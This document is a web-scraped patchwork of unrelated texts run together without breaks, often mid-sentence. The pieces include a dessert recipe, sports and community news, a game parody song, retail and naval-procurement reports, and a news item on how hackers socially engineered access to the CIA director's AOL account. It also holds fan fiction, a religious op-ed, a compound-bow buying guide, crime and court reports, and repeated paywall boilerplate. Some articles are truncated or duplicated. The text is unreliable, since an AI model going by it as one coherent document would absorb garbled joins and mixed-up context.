Use the fat from the bacon to cook the apple slices, along with a bit more sugar. How long you cook these is up to you; I like them quite tender, but you can shorten the cooking time if you prefer them with a bit of crunch, or you can let them go longer if you like more of an apple sauce consistency. Again, to prevent the sugar from burning, keep the apples moving; they should color nicely.
I’m partial to vanilla ice cream here, but something nutty with a little crunch — pistachio, pralines, pecan — would be equally fine. Top a scoop or two with the apples and any of the juices left in the pan, sprinkle some of the candied bacon on top and dig in. I don’t see this as a trend, but it’s pretty great as a one-shot deal.Rays Help Commemorate Campbell Park Field Renovation
February 10, 2017 – Rays infielder Tim Beckham, President Brian Auld, and St. Petersburg Mayor Rick Kriseman were on-hand to commemorate the newly-renovated Cambell Park baseball/softball field with a ceremonial first pitch. Over 20 students from Campbell Park Elementary school were also on-hand to kick off he event.
The field renovation was financed by the Rays Baseball Foundation and the manual labor was provided by the City of St. Petersburg Parks & Recreation Department and Rays’ groundskeepers. The field is part of the Rays Baseball Foundation Field Renovation grant program and will provide young boys and girls in St. Petersburg a new and safe place to play ball.
Quotes To Note:
“I feel like having a field like this teaches them more structure and more unity to get out here and play with each other and play with their peers.” Said infielder Tim Beckham. “Just being able to interact with other peers in the community.”
“Our mission is to energize the community through the magic of Rays baseball.” President Brian Auld said. “We certainly do that playing games at Tropicana Field with the big league club, but we really want to contribute to our youth in particular. Campbell park here, right in the shadows of Tropicana Field, is an often under served area. So to give these kids a major league field that a major league grounds crew has worked on is something that brings us tremendous pride.”
“This is an organization that is really deeply engaged and involved in this community in so many different ways.” St. Petersburg Mayor Rick Kriseman said. “From doing fields like this to being involved in working with our police department on park walk and talk, handing out tickets to games, having kids come and get tutoring with reading…there’s just so many different things that the Rays are doing in the community and the community has no idea about.”Dark Souls is a phenomenally difficult, often frustrating game. I'm sure that many of the people who have played it have given up at some point, unable to deal with the constant punishment the game puts players through. And when they did so, they probably just paused, looked down at their controller, said "Fuck this noise," and went to the store to pick up Arkham City.
But not Joystiq's Justin McElroy. When Justin quits a game, he quits a game, apparently with as much style as possible. In this case, its a musical tribute to the game's Anor Londo region set to "Desperado" by The Eagles (Owen had to tell me that, because I hate the Eagles), which he published on his own blog. It's full of salty language, quality rhymes and hilarious photoshopping.
Anor Londo
Why are you such a cocksucker?
Top to bottom motherfucker?
And not much fun?
Oh, you're a hard one
you'll see this grown adult crying
and if I keep on dying
me and Dark Souls are done.
Thanks, Justin, for making video game frustration just a little but more musical. And hilarious.
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You can contact Kirk Hamilton, the author of this post, at kirk@kotaku.com. You can also find him on Twitter, Facebook, and lurking around our #tips page.Retail executives must surely be smirking now. Or gritting their teeth possibly. After years of bemoaning the sales erosion they have experienced at the hands of e-commerce, some of the biggest online players in this space, are experimenting with bricks-and-mortar venues.
Many Examples
Hasbro and Zynga just announced a partnership that grants Hasbro the rights to develop a wide range of toy and gaming experiences based across Zynga's social games and brands. The deal also creates opportunities for co-branded merchandise featuring a combination of both Hasbro and Zynga brands.
Paypal is pushing itself in the retail environment, teaming up with Home Depot to introduce its online payment solution in some 2,000 stores by next month.
Daily deal giant LivingSocial, is diversifying away from the strictly online model. LivingSocial. It acquired a building in its hometown of Washington, DC—a 28,000-square foot building Downtown in which it plans to host live events and demonstrations with food, art, and fitness.
Google is planning a stand- alone retail store, its first, at its European headquarters in Dublin, Bloomberg says. The company already trialed the concept at a computer shop in London.
And Then There’s Amazon’s Boutique
Perhaps most interesting of all, there have been the rumors, in Goode Reader and Bloomberg, to name two sources, about Amazon’s plans to launch a boutique store in Seattle. Supposedly, it will be a place to showcase its high-margin items in the Kindle family as well as Amazon Exclusive books.
The Revenue of the Retail REITs
As I said such initiatives must equally gratifying and irritating to retailers and their landlords, who have been watching sales vanish into the Ethernet all of these years.
Many of these companies, usually REITs that have the resources and scale, have been introducing social-mobile-virtual elements to the shopping experience—a sure sign that these companies know their business model is in trouble. Now, as it turns out, some of the e-commerce vendors seem to be thinking the same about their models.
Most gratifying of all these examples to these companies must surely be Amazon—a company that, among other moves, actually offered shoppers 5% off during the holiday shopping season for any item that a shopper checked via its Price Check app in store and then bought online.
And Amazon’s model is showing signs of wear, if its recent earnings are any indication. The company reported a sharp decline for the fourth quarter in earnings and sales.
Apple has succeeded famously with its store concept, the thinking must go, so why not Amazon.
“Looking at the success of a titan like Apple going into the traditional brick and mortar space, they must want to see if they can play there as well,” says Grant Cardone, author of The 10X Rule and international sales expert. (I know, linking to the Amazon site here is a bit ironic).
The Problems with the Kindle
A client note by Global Equities Research, however, suggests the Kindle will need more than a nice display to boost it into the same universe that Apple’s products occupy.
First of all, it says, Amazon in general dealing with a number of issues including the rise of fan pages on Facebook and company pages on Google Plus that create direct connection between the company and its customers—and that lead to direct purchases from company store vs. Amazon.com.
Also, it said, it doesn’t look like Apple plans to compete in the 7-inch tablet market but instead prefers to let the second tier players duel it out. “The converged view is that 7-inch tablet is an eReader market segment, which is highly commoditized..low margin business…” Ouch.
In addition, it said, the Amazon Fire user interface lacks the polish and crispness that Apple iPad enjoys. The Amazon Fire device does not include the sensors, which means it cannot be used for any location based service applications or as a gaming console, or as a musical instrument, it said. Finally, it is based on an outdated version of Android. Double ouch.
Most painful of all: “Every indication we have as of right now, tells us that it is very likely that Amazon Fire may end up having the similar fate that RIM’s PlayBook had--a lot of expectations, lot of sell-ins but very weak sell-through.”ANKARA — The Turkish government has said that it intends to buy scores of naval assets in the next years, potentially giving a major boost to the country's flourishing shipyards and their foreign partners.
Under a program dubbed MILGEM (a Turkish acronym for "the national ship") Turkish shipyards have built two corvettes. The third ship will be launched soon, according to procurement officials. The fourth will be delivered in 2020, with additional orders expected.
Turkey's top procurement official, Ismail Demir, said that the government will order four more "new generation" corvettes. "These [corvettes] will be more advanced, bigger vessels," said Demir, head of the procurement agency, the Undersecretariat for Defense Industries (SSM).
The corvettes are the smallest warships in the Turkish Navy's inventory. Turkey plans to use the experience gained in the MILGEM project to design, develop and construct its first indigenous frigate, the TF-2000, in the 2020s.
Demir said Turkey has a "very active" private shipbuilding industry. Naval platforms "are one of the primary items we market abroad," he said.
Early in June, a privately-owned Turkish shipyard, Dearsan, signed a memorandum of understanding with the Kazakh government for technical cooperation for the construction of a batch of six corvettes with vertical-takeoff-and-landing capability for drones. Kazakhstan plans to use the corvettes in the Caspian Sea.
Demir said that the construction of six "new type" submarines, under German license, has started with initial deliveries scheduled for 2020. "These [submarines] will be built entirely in Turkey although they are German design," he said.
SSM's chief said that the next generation of submarines would be designed, developed and constructed locally.
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A procurement official said that the next order for the new-generation submarines would be "an initial batch of six."
"Naval platforms of different types are in popular [governmental] demand because they earn the country capabilities that are in line with Turkey's regional foreign policy ambitions, most notably in the Mediterranean," said one senior Turkish diplomat.
One such program is the Landing Platform Dock (LPD), which Sedef, a Turkish shipyard, in partnership with Spain's Navantia, is building under an approximately $1.5 billion deal. In a high-profile ceremony on Apr. 30, the construction of the TCG Anadolu, an amphibious assault ship, took off.
The planned amphibious assault vessel will carry a battalion-sized unit of 1,200 troops and personnel, eight utility helicopters and three unmanned aerial vehicles. It can transport 150 vehicles, including battle tanks.
The ship also may get an aircraft platform for vertical takeoff and landing, and a ski jump at the front of the deck can be used to launch fighter planes.
One feature of Turkey's naval ambitions is focused on the littoral zones. Turkey is bordered by sea on three sides: the Black Sea in the north, the Mediterranean in the south and the Aegean in the west. In the northwest, there is also an important internal sea, the Sea of Marmara, between the straits of the Dardanelles and the Bosporus, important waterways that connect the Black Sea with the rest of the world. The Turkish coastline is 4,474 miles, excluding islands.
That makes the Coast Guard, in addition to the Navy, another key end user. On June 9, SSM released a request for information for the acquisition of an unspecified batch of 600-class Coast Guard ships.
The document said that the planned vessels would be between 60 meters and 75 meters. They should have a landing platform to allow VTOL for helicopters of up to 10 tons.CIA Director's Personal Email Account Breached By Hackers... Who Find Official Documents Stored In It
from the FWD:FWD:FWD:-classified-data-[KEEP-SAFE!] dept
LOL. Cybersecurity.
The Central Intelligence Agency will make one of the biggest overhauls in its nearly 70-year history, aimed in part at sharpening its focus on cyber operations and incorporating digital innovations, CIA director John Brennan said.
Brennan said he is creating new units within the CIA, called "mission centers," intended to concentrate the agency's focus on specific challenges or geographic areas, such as weapons proliferation or Africa.
The CIA director said he also is establishing a new "Directorate of Digital Innovation" to lead efforts to track and take advantage of advances in cyber technology to gather intelligence.
A hacker who claims to have broken into the AOL account of CIA Director John Brennan says he obtained access by posing as a Verizon worker to trick another employee into revealing the spy chief’s personal information.
Using information like the four digits of Brennan’s bank card, which Verizon easily relinquished, the hacker and his associates were able to reset the password on Brennan’s AOL account repeatedly as the spy chief fought to regain control of it.
Brennan: leading from the rear. "Digital innovations," "cyber operations," and a CIA director who forwards work email to his AOL account.Now, there is very little anyone can do to prevent hacking via social engineering. There are too many weak links, many of which will probably be attending some mandatory training classes on account security in the near future. Not that it will help. As long as nearly every company uses the same list of personal info for identity verification, social engineering will continue to crack open secured accounts.The hackers posed as Verizon techs. After producing a fabricated "Vcode" (an identifier that "verifies" a person as a Verizon employee), Verizon gave up the information the hackers needed to gain control of Brennan's AOL account: PIN, backup phone number, email address and last four digits of his credit card.They then called AOL to tell them they were locked out of "their" account. The information handed over by Verizon answered all of AOL's verification questions. And in they went, uncovering -- among other things -- the SF-86 application Brennan had filled out to apply for security clearances. They also discovered -- and posted -- screenshots of a spreadsheet apparently listing names and social security numbers of intelligence officials.There's been no document dump, so it's unclear at this point how many work emails and documents Brennan forwarded to himself or if he used his AOL account to conduct official business. The thing is, Brennan should have known this was a terrible idea, no matter how convenient it was for him to peruse CIA docs from an email account he could access anywhere. He may not have been able to prevent the social engineering attack, but he could have ensured his personal email account. And I'm pretty sure the CIA frowns on taking official documents off-site, even if "Forward email" is used rather than an attache case.
Filed Under: breach, cia, classified info, hacked, john brennanIn a simple room, with a simple oak desk taking up the focus and center of the room, stood two forms. One of the two forms was a somewhat old man with greyish-white, frazzled hair that lined his head in faint whisks, and he was sitting in a chair in what was likely a very uncomfortable position. This was due to the fact that he was slumped forwards and onto the impressive oak desk in front of him, and the additional two holes that exited the back of his head certainly didn't help his comfortability. The copious amount of blood that was rapidly pooling onto the desk sure didn't serve to ensure a comfortable rest, either.
The other form was that of a young Faunus woman, about twenty-three years old and maybe just a few inches below being six feet tall who was looking onto the scene with shocked grey eyes that weren't obstructed in the slightest by the girls soft and short copper hair. From the top of her head, easily poking through the hair atop it, erupted two simple, fluffy ears of a squirrel.
This wasn't how it was supposed to be, and yet it appeared that this was indeed how it was going to be. Painted quite vividly for the moderately-tall girl that stood now alone in this simple, nightmarishly dark room was an image for her eyes only, and it wasn't exactly an image she'd liked. She'd been in this room several times before, she recalled that much, but the girl couldn't remember why.
"Just call 911, Aero. Wait, you're a cop, you don't need to call 911, ju-just call for backup, Aero," the girl murmured faintly to herself. Her grey eyes were locked dead onto the slumped over form in front of her, clearly quite worried. The boring police uniform she was stuck into came into view first, but very soon after the gun held tightly in her hand came into view. Almost immediately, a yelp shrieked from the girls as she tossed the gun from her hands, even though she knew the exact implications that the gun in her hand gave her.
Though Aero's mind was full of panic and insanity, the vague knowledge of what all this meant as it slowly crept into her mind. It certainly didn't help her panic, as it meant that she'd killed the man who lay dead in front of her. "Th-this can't be happening," Aero softly stammered out to herself, shaking her head in pained disbelief.
A series of loud knocks sounded on the door that must've surely been behind her, and panickedly Aero swirled to face it. The door suddenly burst open, and a loud, masculine voice shouted for her to get down. She was about to, when a sudden, loud bang crashed through the room.
Like that, Aero was ejected rather rudely from her dream and back into reality. |
person, a place, and a thing. This opens up quite a few gameplay possibilities.
Everybody will always have 5 valid answers for each type of question. (Your hand consists of 5 cards)
for each type of question. (Your hand consists of 5 cards) Shake things up a bit, random cards will always make sense.
. Strategic Hand Management : Playing one answer means losing three others.
: Playing one answer means losing three others. Two player competitive and cooperative modes available.
Because of the smart color-coded four-sided design, it's not JUST a game about being funny, it also becomes a mini-strategy game.
Knowing who you're playing with is the first line of offense. Play to what they'll think is funny.
Each answer played means losing three other valid answers.
You don't always want to play the funniest answer, save your 'ace-in-the-hole' answers for opportune times.
You never know which card your opponent played and trying to bluff your vote often works against you, (so don't do it!)
Please note. The initial run of the voting "tokens" will be made out of card-stock, which we hope to upgrade with large enough volume.
During development, we were incredibly aware how UNFUN the game is if you don't "get" certain references. We strive to make the base game timeless and free from references.
Expansions are our way of offering customization personalized to your specific tastes and knowledge base.
Expansion cards can be played solo, or integrated into your core game. All expansion cards will have a symbol printed on the face so you can easily remove them from play if needed.The author's views expressed in this article do not necessarily reflect the views of AtlantaMuslim.com. Also, the comments posted on this Website are solely the opinions of the posters.
The Supreme Court has ruled that individual states cannot ban same-sex marriage. So what does that mean for Muslims who choose to abide by the Quran and Sunnah?
Not much really.
The fact is that we live in an era where many things that are clearly prohibited in our faith are considered legal. The United States is not the only nation in which this exists. Rather, one can find similar situations in Muslim majority countries as well. So should we freak out and make a big deal that same-sex marriage has been supported by the Supreme Court?
In my opinion: no.
If we take a look at the social norms in which the Prophet (saw) lived, there were many things wrong with society. The weak were taken advantage of by the powerful and the rich. Fathers would bury their daughters alive because having a daughter was considered shameful. Tawaf around the Ka’bah was made practically in the nude. Much bigger than that, the Ka’bah, which was a landmark of the worship of ONE God was turned into a storage facility where idols were kept and honored. One of the great benefits about turning to the Prophet (saw) as a role model for our own life lessons is that we realize he went through everything we will ever go through and taught us how to deal with it.
Islam is spreading all over the world as people are choosing to submit themselves to Allah. Our focus should be on proper propagation and representation of our faith. We must realize that people of other faiths, or for that matter, of no faith, will always have their own outlook on social issues. For example, alcohol is legal in the U.S. yet prohibited for us. Adultery, which is a crime in Islam, is not a criminal offense here. Certain financial transactions, clearly aimed towards taking advantage of people in horrendous ways, are considered good business practices. The issue of same-sex marriage is just one more for the pile.
My advice to the Muslim community would be to remember that we are very blessed to have a source of guidance concerning what is right and wrong that comes straight from Allah. Who better than the Creator to tell us what is best for His Creation? Allah states in the Quran, “and if you were to obey most of those on earth, they will lead you away from the way of Allah. They follow nothing but conjecture, they do nothing but lie” (6:116). No matter what people around us decide, think, or feel, our guidance comes directly from Allah and we should always turn to Him for the betterment of our own lives. Remember that your Islam starts with you first. Focus on you, as the Prophet (saw) had his followers do when they were in the early period of Islam, and you will find peace. Moreover, you will influence those around you with your own good character.
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Like AtlantaMuslim.com on FacebookSo you’ve decided to buy a compound bow. Congratulations, you’re one step closer to being totally bad ass. And another congratulations for coming to the right place to find out how.
This article is going to ask a few questions and come up with some answers. These are the same things I wondered when I set out to buy my first bow, and I think they are the best way to pass on the gained experience.
If you plan to use it for hunting, this article will be focused primarily on you, as it’s what I plan to do with mine.. If you are planning to use it for target shooting or competition, this article still applies to you. But luckily, you have quite a few more options and considerations, which I will address later.
If you don’t know much about compound bows, like what binary cams or axle-to-axle length are, check out these articles for a crash course. This is just the tip of the iceberg, mind you, there’s plenty more to Google!
http://compoundbowchoice.com/university/basics/components/
http://www.outdoorsexperience.com/compoundbowdiagram.html
What’s my price range?
Compound bows, like pretty much any piece of sports equipment, can vary widely in price. You will see bows for $50 to $1,500, it’s just a matter of what you’re willing to spend. And like many things, you get what you pay for. A new bare bow of upper entry to mid-level quality will run you about $350-$550, depending on your tastes. Higher end bows start around $600 and go upwards to well over $1,000. However, if this is your first bow, I would ballpark spending $500 at most for a total setup including a used bow, arrows, block target, release, and a tune-up. Notice, I said “used” bow. For starters, unless you’ve got the cash flow to warrant a new rig, I would recommend a used bow.
Why Buy A Used Bow?
Well, frankly, because you’re gonna beat on it! You’re going to drop this thing, probably dry fire it by accident (happens when you don’t keep your finger off the release trigger), ding it off rocks and trees, and will want to tinker with the settings. A used bow won’t make you feel guilty when you scratch up that purdy camo dip. A used bow will also be easier on your wallet, in case you decide you hate archery (which happens quite a bit). This last reason, in fact, works toward your advantage because there are plenty of people offloading bows they never use anymore. There are also just as many people obsessed with archery that love to upgrade their rigs to the newest models every year, and sell their older models for modest prices.
Where Do I Buy a Bow?
There are quite a few sources that I used when hunting for my first bow. Here is a breakdown.
Local Pro Shop
Archery shops, like fishing shops, are a great place to learn, hang out, and purchase equipment at. Yes, you can probably find it cheaper online. But if the shop owner, staff, and patrons are knowledgeable, helpful, and friendly, consider spending a few more bucks on an accessory item to keep them in business. Most pro shop staff members worth their salt will be able to fit you to a bow that will be both comfortable, ergonomic, and optimal for your body size and strength. Many shops also sell used bows or consign them for their customers. You can find a great deal this way, as most shops will throw in a free -, strings, arrows, etc with a deal. See what you find.
And I’ve found that a good shop owner would rather see you get a good deal wherever it may be and come back for services and accessories, than rip you off on a onetime sale. That was my experience with Neil at NH Archery before he closed. I first walked in the door interested in a bow he had on consignment, which ended up not fitting me for draw length. He didn’t have any other bows that fit me, but rather than sell me one anyways, he gave me my “measurements” and pointed me in the right direction to some other places. Because of that, I’ll definitely go back to him for tunings, cleanings, and custom arrows!
Forums
What can I say, I love forums. There are plenty of archery related on the web, a few of the most popular ones are: Bowsite.com, Bowhunting.com, and Archerytalk.com (which I use). Troll the forums for awhile before you register, but make sure you introduce yourself at some point! Archery is one of those dying sports (although experiencing a resurgence recently) that people love to share, talk about, and teach. If you’ve got a question, don’t feel nervous to post it up, just make sure to do a quick forum search to make sure it hasn’t already been answered 100 times. I’ve found Archerytalk.com to be a HUGE resource for me, from learning how to tune my bow, hunting tips, and even DIY projects. Along with being a great resource of knowledge, I actually purchased my bow there. AT has an excellent trading forum, with feedback available for users, moderators willing to mediate any sales disputes, and plenty of people looking to buy, sell, and trade. My advice is to start looking before you’re really itching to buy, if you wait long enough and pay due diligence to the classifieds section, that perfect deal will pop up. Or, do what I did and post up a “WTB” thread (Want to Buy) and watch the offers role in!
Online Market Places
eBay, and your local Craigslist classifieds. eBay can be a great spot to find deals on and score big. As with the my suggestion for forums, watch for a week or two before you start bidding. Get a feel for what the current market is and what you can get. It won’t take long to pick up on trends and prices. Sometimes eBay can be a hassle if your bow isn’t in the same condition you expected. I prefer Craigslist slightly over eBay since you can likely meet up with the seller and check out the bow in person before throwing your cash down. As always, never feel obliged to buy if the bow isn’t everything you thought it was. Meeting up to check out or test fire a bow isn’t a condition of sale. (If this is your plan, and you are very serious about getting into archery, I recommend spending the $50-$80 up front on a target and a few arrows. Your local pro shop should have some Morrell’s bag or block target for sale if not, check this link. The seller may not always have a target available or you may be meeting up at a parking lot, etc. You don’t need much room to fire it, it can be 5 feet away, but it’s definitely a very good idea to give it a few shots before agreeing to buy)
Big Outdoor Store
This is the last place I would recommend buying from but I would still recommend it. For such a relatively small niche sport such as bowhunting or archery, I would first say support your local shop if it’s good. If you don’t have any around you or if they are all crap (which is possible) or if you plan to just buy a brand new bow, hell, go to an outdoor sporting goods store. Storefronts like Cabela’s, Bass Pro, and Gander Mtn will have better and more knowledgeable staff than another big box store that doesn’t specialize in hunting or outdoor equipment. These top three big stores will also have their own “brand” bows, which are an exclusively made manufacturer label for their particular store. These store brands are often manufactured by big bow company’s such as Bowtech. Investigate those for stores that are closest to you and find out what people have to say (the forums are a good place for this).
What Else Do I Need to Look For?
Now that you’ve got some ideas on where to buy, you should also take into consideration what you want the bow to have. There are plenty of bells and whistles to screw onto your bow, but my general guideline is to focus on power, accuracy, and silence. Camouflage also should be considered, but will vary depending on your quarry. Which I will explain in a bit.
Power
If the bow is properly fit and adjusted to your strength, you will want to maximize the amount of kinetic energy possible to transfer to your arrow. When you draw a bow, energy is stored in the limbs (contrary to belief that it is stored in the string). The string is merely the means of transferring the energy from your limbs into your arrow. The greater the energy transferred to your arrow, the heavier it can be, and the more kinetic energy it will impart onto your target. That’s the simplest way of looking at it. Get a bow that fits you, and work to maximize the energy deliverable (or the opposite, work to minimize energy lost). Heavier draw weights will store higher energy, resulting in higher arrow velocities and weights. Look for a draw weight that is as high as possible but still allows you to practice regularly. Plenty of guys can draw an 80lb bow, but not many can do it for several hours of target practice. I have mine set to about 65lbs, which I plan to increase to 68lbs in a few weeks as I’ve been gaining strength through Crossfit. Everyone will be different, so don’t be afraid of going low or going high. Just find what works for you.
Accuracy
All that power but no way to aim sounds like a big waste to me. Accuracy is achieved through proper form, good sights, quality arrow rest, and a properly set up bow. The last 3 are things you can pay for up front, but proper form must be learned over time. Invest in a good quality 3-pin sight (Apex, Cobra, Tru-Glo, Sword) a good quality on market arrow rest (WhiskerBiscuit, Trophy Ridge), and proper setup done by your pro shop.
Silence
In case you didn’t notice, arrows don’t fly that fast. Even the fastest shooting bow shooting at around 350fps is still miles slower than the slowest gun shooting at 900fps. Therefore, your quarry has a very good chance of hearing you fire before the arrow reaches them. This is why sound suppression and vibration dampening is a must if you intend to hunt. Even a reflex action of an animal looking up is enough to make your shot miss, or worse, cause a crippling or wounding hit. Stabilizer bar, string silencers, and limb dampeners are the way to go. There are plenty on the market, find whatever suits your price range and setup.
Camouflage
I won’t dwell too much on this subject, as there are so many patterns out there and you’ll most likely only have 1 -2 choices once you find a bow you like. You can always get the camo finish redone by sending it out to a “dipping” company (hydrographing). Camo patterns will depend on your intended game, and intended environment. Then again, some people hunt successfully without any camo on their bow or on their body, so to each his own. I, myself, prefer camo and have Max-1 by RealTree on mine. It matches the primarily coniferous and dead plant forests for fall whitetail woods, along with ground foliage elements for spring time turkey hunting.
As I mentioned before, if you intend to use this bow for target shooting, you can apply these same guidelines but maybe to a less stringent degree. Power will be less of an issue in terms of arrow impact, but more in terms of repeated shooting comfort. Accuracy will be just as important, but you may want to consider a 4-5 pin sight, especially for 3D shoots. Silence will be less of an actual sound issue but more dependent on vibration dampening and reducing hand shock for comfort. And camouflage, well, you can pretty much paint the bow lime green and it won’t matter. You can get some pretty sweet custom designs, in fact.
Well, I hope this little guide has helped some of you and given some advice on buying a bow. I spent close to 2 months looking at all the sources I mentioned, and finally picked up a 2008 Diamond Nitrous (by Bowtech) off a fellow in South Carolina, who I met through AT. I love it so far, and hopefully will upgrade in a couple years once I’ve mastered the finer elements of archery.
Let me know if you used this guide in buying a bow and how you made out! Thanks for reading!
Check out the follow up article to this, How To Upgrade Your First Compound Bow!Source: David Moye / The Huffington Post
After a sheriff in Palm Beach County, Fla. came across the Instagram page of Dupree Johnson, 19, they noted that Johnson had a rap sheet that included grand theft, burglary, and felony possession of a firearm, the deputy decided to look more closely at the pictures.
After authorities issued a search warrant for Johnson’s home in Lake Worth, Fla.
Deputies not only discovered a Glock underneath his bedspread and a stolen — and loaded — Tec-9 9mm pistol, but also $250,000 worth of stolen jewelry, electronics and and firearms, Miami New Times reported.
Investigators believe that Johnson may have been one of several people responsible for as many as 40 burglaries in 55-and-older communities in Boynton Beach, Fla., according to CBS12.com.
To read this article in its entirety visit The Huffington Post.At its current location for inspecting an active sand dune, Nasa's Curiosity Mars rover is adding some sample-processing moves not previously used on the Red Planet.
Sand from the second and third samples the rover is scooping from "Namib Dune" will be sorted by grain size with two sieves.
The coarser sieve is making its debut, and using it also changes the way the treated sample is used for laboratory analysis inside the rover.
"It was pretty challenging to drive into the sloping sand and then turn on the sand into the position that was the best to study the dunes," said Michael McHenry from Nasa's Jet Propulsion Laboratory in California.
Curiosity has scooped up sample material at only one other site since it landed on Mars in August 2012.
The mission's current work is the first close-up study of active sand dunes anywhere other than the Earth.
Investigation of the dunes is providing information about how wind moves and sorts sand particles in conditions with much less atmosphere and less gravity than on the Earth.
Curiosity scooped its first dune sample on January 14 but the rover probed the dune first by scuffing it with a wheel.
Curiosity collected its second scoop on January 19. This is when the coarser sieve came into play.
"What you have left is predominantly grains that are smaller than one mm and larger than 150 microns," said John Michael Morookian, rover planning team lead for Curiosity.
Curiosity reached the base of Mount Sharp in 2014 after fruitfully investigating outcrops closer to its landing site and then trekking to the layered mountain.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
“Justice was not served,” the victim’s mother, Maggie Bray, said Thursday.
Provincial court Judge Robert Heinrichs accepted Vaughan’s explanation he didn’t realize he’d struck a person while driving on Lagimodiere Boulevard at the South Perimeter.
Caley Vaughan, 29, was found not guilty this week of failing to remain at the scene of an accident causing the death of 18-year-old Brandon Flis in October 2012.
Family and friends of a Winnipeg teen who was killed by a driver while walking down a highway are lashing out at a judge’s decision that cleared the driver of criminal wrongdoing.
Hey there, time traveller! This article was published 28/5/2015 (1371 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 28/5/2015 (1371 days ago), so information in it may no longer be current.
Family and friends of a Winnipeg teen who was killed by a driver while walking down a highway are lashing out at a judge’s decision that cleared the driver of criminal wrongdoing.
Caley Vaughan, 29, was found not guilty this week of failing to remain at the scene of an accident causing the death of 18-year-old Brandon Flis in October 2012.
Provincial court Judge Robert Heinrichs accepted Vaughan’s explanation he didn’t realize he’d struck a person while driving on Lagimodiere Boulevard at the South Perimeter.
"Justice was not served," the victim’s mother, Maggie Bray, said Thursday.
"He had to have known. He wasn’t an animal. He was a great son."
She wants the Crown to appeal the verdict. The Crown has 30 days to make a decision.
"The verdict is making us suffer again. Mr. Vaughan is free to live his life as if nothing happened," Bray said.
"Our family is living a life sentence, missing our son and also mourning all the things he will never accomplish."
Vaughan never testified, but gave a statement to police that was submitted as evidence.
He claimed to have felt a "big bump" while driving but assumed he struck a small animal and continued on, despite admitting to being "nervous and panicky."
He turned himself in 10 hours later after his father told him a pedestrian had been hit.
That pedestrian was Flis, who had left a nearby house party and was walking home around 4 a.m.
In his decision, Heinrichs noted Flis was dressed in dark clothing. There was also evidence he was intoxicated and agitated following a fight with his girlfriend.
Vaughan was driving north on the highway. He had also been at a house party that night and admitted he drank alcohol.
An RCMP expert estimated Vaughan was driving the speed limit when he struck Flis, who flew up onto the windshield and ended up on the road. Flis suffered massive head trauma and died eight days later.
"Our Thanksgiving was ruined for life as we took our son off life-support and watched him struggle to take his last breaths," Bray said Thursday.
Adding to the family’s frustration is the fact Vaughan had no driver’s licence or auto insurance.
This, along with questions about his level of impairment that can never be answered, leaves them suspicious about his motives for not stopping.
"There’s not even a fine here for having an expired licence or no insurance," Bray said.
During the trial, the Crown suggested Vaughan didn’t stop at the scene because he may have been intoxicated.
Vaughan admitted to police he had consumed three beers over five hours. Others at the same party described him being "a bit tipsy" at one point, but not visibly impaired.
In his verdict, Heinrichs said the Crown had failed to prove "beyond a reasonable doubt" that Vaughan did anything criminal.
"This was a tragedy. Brandon Flis was in the wrong place at the wrong time. But he was in a place where no driver would have been able to avoid hitting him," Heinrichs said. "(Vaughan) has offered up a plausible account of what he saw and thought."
Stephanie Page, a close family friend of the victim, said the verdict "doesn’t make sense at all."
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"Mistaking a body hitting your windshield for a small rock or animal? Impossible," she said.
Page questioned why Vaughan and his passenger didn’t testify at the trial.
"There is something blatantly wrong with this whole thing."
Flis had dreams of becoming an RCMP officer, which his mother said is ironic given the way the justice system has let him down.
"Our house will never be the same. Mr. Vaughan gets to live his life a free man. I get to see my son’s urn every day and relive this every day," Bray said.
www.mikeoncrime.comThe Syracuse Crunch have announced the signing of forwards Ty Loney and Troy Bourke to AHL contracts. The two forwards will provide depth to the Tampa Bay Lightning’s AHL affiliate.
Ty Loney is listed at 6’3” and 205 pounds. The 25 year old plays right wing and is right handed. He went undrafted and played for the University of Denver for four seasons after spending a season plus in the USHL. At the end of his senior year, Loney played five games for the Norfolk Admirals in the AHL. He split the next two seasons between the AHL and the ECHL with 55 games and 16 points in the AHL and 64 games in the ECHL with 58 points. He played in 36 games for the Adirondack Thunder last season with 18 goals and 40 points. The Thunder are the Lightning’s unofficial ECHL partner. Loney is also the son of two-time Stanley Cup winner Troy Loney.
Troy Bourke comes to the Crunch from the San Antonio Rampage where he spent the past two seasons, aside from a nine game stint and playoff run with the Fort Wayne Comets of the ECHL in 2015-16. Originally a 2012 third-round draft pick by the Colorado Avalanche, he signed with the Avs after finishing his WHL career with the Prince George Cougars. He was set to become a restricted free-agent this off-season but Colorado did not tender him a qualifying offer making him an unrestricted free-agent.
Bourke has played in 206 AHL games and has 23 goals and 62 points. He set a career high in the AHL last season with 24 points in 74 games. Listed at 5’10” and 174 pounds, Bourke is a smaller forward that can play left wing and center.
With both players signed to AHL contracts, the Lightning will have the option of playing them with the Syracuse Crunch or placing them in the ECHL, presumably with the Adirondack Thunder. There are a couple of potential spots at the bottom of the forward line-up as well as press box seats up for grabs. Both players will be able to join the Syracuse Crunch camp and compete for those spots. Otherwise, they’ll be available for injury replacement duty while playing in the ECHL. The signing of both represent essential replacements on the depth chart for Cam Darcy and Brian Hart after they were bought out and released earlier in training camp.US Secretary of State John Kerry at a summit in Rome on Friday. On Sunday, he warned that Israel’s settlements on the West Bank are an obstacle to peace. (Vincenzo Pinto/AFP/Getty Images)
Secretary of State John F. Kerry said Sunday that Israel is “heading to a place of danger” because settlement growth is eroding chances for a two-state solution and peace with the Palestinians.
